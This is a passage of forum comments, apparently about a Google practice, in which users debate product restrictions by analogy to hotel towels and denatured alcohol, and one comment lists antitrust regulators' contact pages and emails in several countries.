  If it were possible to manufacture towels that couldn't easily be stolen from hotels, then yes I would want that to be allowed. Hotels would like it, and guests who do not steal would benefit from lower prices. And more directly yes I would want exactly what you're describing to be possible. We do this with alcohol so that rubbing alcohol can be sold at a reasonable price.

4oo4 3y ago

Friendly reminder to don't just comment and complain to Google, contact your antitrust authority today: US: - https://www.ftc.gov/enforcement/report-antitrust-violation https://www.ftc.gov/enforcement/report-antitrust-violation - antitrust@ftc.gov EU: - https://competition-policy.ec.europa.eu/antitrust/contact_en https://competition-policy.ec.europa.eu/antitrust/contact_en - comp-greffe-antitrust@ec.europa.eu UK: - https://www.gov.uk/guidance/tell-the-cma-about-a-competition-or-market-problem https://www.gov.uk/guidance/tell-the-cma-about-a-competition... - general.enquiries@cma.gov.uk India: - https://www.cci.gov.in/antitrust/ https://www.cci.gov.in/antitrust/ - https://www.cci.gov.in/filing/atd https://www.cci.gov.in/filing/atd Canada: - https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-eng/GH%C3%89T-7TDNA5 https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-e...

rolandog 3y ago
Thanks, it should be more common practice to make news more actionable, and not turn us into mere spectators.